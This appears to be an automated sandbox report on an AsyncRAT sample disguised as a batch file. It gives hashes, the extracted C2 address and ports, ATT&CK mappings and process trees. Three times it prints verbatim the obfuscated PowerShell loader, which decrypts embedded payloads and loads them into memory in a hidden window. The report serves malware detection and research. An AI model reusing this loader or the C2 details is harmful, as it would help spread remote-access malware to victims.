asyncrat | 09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961

General

Target

Inital.bat
Size

63KB
MD5

e9319ac7284b6bbadf0200fee286b6c1
SHA1

51c30382aa103118937f1a9bf453a8345febafb4
SHA256

09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961
SHA512

73e349b61c285cdb3cfdf41ae9ba166cc0f8e5c7b989bf744f9aa8433baf41ea3a01b46fa9a88cc97fa4ca5d80f57a9dbd8fea631a164566c9e95632c9f3404b
SSDEEP

1536:Z6e+aDqc6V/xOtoqfF4OycI/k0xqAD/xtM:Z6aDqpVuoqKL5fkAvM

Score

10^/10

asyncrat rated execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

RATED

C2

147.185.221.17:25565

147.185.221.17:37531

Mutex

Dudee4vQEqBD

Attributes

delay
3
install
false
install_file
AnticheatBiner.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/3956-24-0x0000000006D80000-0x0000000006D92000-memory.dmp	family_asyncrat

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

21 3956 powershell.exe
43 3956 powershell.exe
48 3956 powershell.exe
49 3956 powershell.exe
50 3956 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3956 powershell.exe
824 powershell.exe
1768 powershell.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3956 powershell.exe
3956 powershell.exe
824 powershell.exe
824 powershell.exe
824 powershell.exe
1768 powershell.exe
1768 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3956 powershell.exe
Token: SeDebugPrivilege 824 powershell.exe
Token: SeDebugPrivilege 1768 powershell.exe

flow	pid	process
21	3956	powershell.exe
43	3956	powershell.exe
48	3956	powershell.exe
49	3956	powershell.exe
50	3956	powershell.exe

pid	process
3956	powershell.exe
824	powershell.exe
1768	powershell.exe

pid	process
3956	powershell.exe
3956	powershell.exe
824	powershell.exe
824	powershell.exe
824	powershell.exe
1768	powershell.exe
1768	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.execmd.execmd.exe

description	pid	process	target process
PID 904 wrote to memory of 3956	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 3956	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 3956	904	cmd.exe	powershell.exe
PID 3528 wrote to memory of 824	3528	cmd.exe	powershell.exe
PID 3528 wrote to memory of 824	3528	cmd.exe	powershell.exe
PID 3528 wrote to memory of 824	3528	cmd.exe	powershell.exe
PID 3960 wrote to memory of 1768	3960	cmd.exe	powershell.exe
PID 3960 wrote to memory of 1768	3960	cmd.exe	powershell.exe
PID 3960 wrote to memory of 1768	3960	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Inital.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Inital.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3528

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Inital.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
6195a91754effb4df74dbc72cdf4f7a6

SHA1
aba262f5726c6d77659fe0d3195e36a85046b427

SHA256
3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5

SHA512
ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
d698d5937b0204919ccb06a782c042d1

SHA1
5f4c02afe416a24d7088a6871c7b47ae36385ddc

SHA256
87f0fd106d1323c21a53129669dd49574f73c872234a3041cda0b6ffc6351ecc

SHA512
f284a51d82714418699b7e485394fd4d2586548869c7c430808c3755d34e80ba936559ae13a22e08c78e9fe3092667b607b10e51059cf5fbcbaad58e19c9250b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_owm1vz5k.iq3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/824-43-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/824-39-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/824-38-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/824-28-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3956-20-0x00000000073A0000-0x0000000007A1A000-memory.dmp

Filesize
6.5MB

Download
memory/3956-26-0x000000007451E000-0x000000007451F000-memory.dmp

Filesize
4KB

Download
memory/3956-19-0x0000000005C40000-0x0000000005C8C000-memory.dmp

Filesize
304KB

Download
memory/3956-18-0x0000000005B90000-0x0000000005BAE000-memory.dmp

Filesize
120KB

Download
memory/3956-0-0x000000007451E000-0x000000007451F000-memory.dmp

Filesize
4KB

Download
memory/3956-21-0x0000000006D20000-0x0000000006D3A000-memory.dmp

Filesize
104KB

Download
memory/3956-22-0x0000000006D50000-0x0000000006D58000-memory.dmp

Filesize
32KB

Download
memory/3956-23-0x0000000006D60000-0x0000000006D6E000-memory.dmp

Filesize
56KB

Download
memory/3956-24-0x0000000006D80000-0x0000000006D92000-memory.dmp

Filesize
72KB

Download
memory/3956-17-0x00000000056B0000-0x0000000005A04000-memory.dmp

Filesize
3.3MB

Download
memory/3956-27-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3956-7-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/3956-6-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/3956-5-0x0000000004CE0000-0x0000000004D02000-memory.dmp

Filesize
136KB

Download
memory/3956-3-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3956-4-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3956-2-0x0000000004D70000-0x0000000005398000-memory.dmp

Filesize
6.2MB

Download
memory/3956-1-0x00000000046E0000-0x0000000004716000-memory.dmp

Filesize
216KB

Download

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